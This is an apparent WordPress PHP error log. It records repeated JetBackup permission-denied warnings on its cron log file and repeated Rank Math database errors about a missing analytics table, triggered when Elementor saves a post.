fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:45:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:45:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:46:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:46:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:46:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:46:41 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:46:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:46:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:47:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:47:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:47:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:47:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:47:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:47:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:48:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:48:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:48:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:48:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:48:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:48:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:49:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:49:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:49:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:49:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:49:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:50:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:50:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:50:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:50:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:50:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:50:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:50:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:51:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:51:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:51:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:51:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:51:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:51:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:52:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:52:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:52:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:52:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:53:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:53:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:54:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:54:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:54:43 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 16:32:26 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 16:32:26 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 16:32:26 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 16:35:24 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 16:35:24 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 16:36:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 16:36:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 17:25:18 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 17:25:18 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 17:27:05 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 17:27:05 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 17:28:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 17:28:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 17:31:36 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 17:31:36 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 17:36:59 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 17:36:59 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 17:44:43 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 17:44:44 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), 